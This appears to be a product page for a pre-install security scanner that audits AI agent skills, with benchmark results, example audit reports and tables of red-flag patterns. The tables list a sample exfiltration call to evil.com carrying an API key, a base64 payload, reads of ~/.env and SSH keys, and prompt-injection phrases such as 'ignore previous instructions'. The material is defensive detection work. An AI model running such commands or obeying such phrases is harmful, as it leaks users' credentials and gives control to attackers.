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Get Started Free →Pre-install security scanner for AI agent skills. 7.5% of 14,706 skills are malicious. Audit before you trust.
| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-04 | ✗→✓ | ▲ Improved | 79% | 0% |
| case-05 | ✗→✓ | ▲ Improved | 27% | 0% |
| case-06 | ✗→✓ | ▲ Improved | 43% | 0% |
| case-11 | ✗→✓ | ▲ Improved | 49% | 0% |
| case-17 | ✗→✓ | ▲ Improved | 66% | 0% |
7.5% of 14,706 OpenClaw skills are confirmed malicious. This skill provides a structured 6-phase security review you run before installing any third-party skill.
Research findings (2026):
Pattern detection in SKILL.md:
ignore previous instructions, you are now...fetch(), curl, wget to unknown domainsatob(), base64 strings~/.env, process.env + network callsRead every referenced script:
Check if permissions match purpose:
Detect manipulation tactics:
Evaluate author/repo credibility:
Risk score + recommendation:
User: I want to install fancy-tool from github.com/suspicious-author/fancy-tool
Agent runs skill-audit:
📋 Surface Scan: 🚨 3 critical patterns
- download-pipe-shell pattern found
- References ~/.env
- External fetch to unknown domain
📁 Script Check: 🚨 scripts/install.sh
- Contains base64-encoded payload
- Makes HTTP POST to 192.168.x.x
🔑 Permissions: 🚨 Excessive
- Claims "format code"
- But reads ~/.ssh/id_rsa
Risk Score: 92/100 🔴 CRITICAL
Recommendation: 🚫 DO NOT INSTALLUser: Install this skill from github.com/trusted-author/useful-skill
Agent runs skill-audit:
📋 Surface Scan: ✅ No critical patterns
📁 Script Check: ✅ No scripts referenced
🔑 Permissions: ✅ Minimal (read/write in project dir)
📊 Repo Intel: ✅ Trusted author, 2+ years active
Risk Score: 12/100 ✅ LOW RISK
Recommendation: ✅ Safe to install| Pattern | Example | Risk | |---------|---------|------| | Instruction override | ignore previous instructions | Agent takeover | | External data exfil | fetch('http://evil.com?token=' + env.API_KEY) | Credential theft | | Shell pipe | download piped into a shell interpreter | Arbitrary execution | | Encoded payloads | atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ==') | Hidden commands | | Credential reads | ~/.env, process.env + network | Key theft | | Self-replication | "install in all repos" | Persistence spread |
| Pattern | Concern | |---------|---------| | Role manipulation | Changes agent identity | | Hidden instructions | Invisible commands in comments | | Undocumented scripts | SKILL.md references hidden scripts | | Broad permissions | Excessive file/network access | | Domain ambiguity | Domain takeover risk | | Unpinned deps | Supply chain vulnerability |
From documented incidents:
clawhub1, clawbhub → fake official CLI, macOS binary to raw IPThis skill is adapted from aptratcn/skill-audit — MIT licensed.
Other measured skills in the registry, with their headline benchmark lift.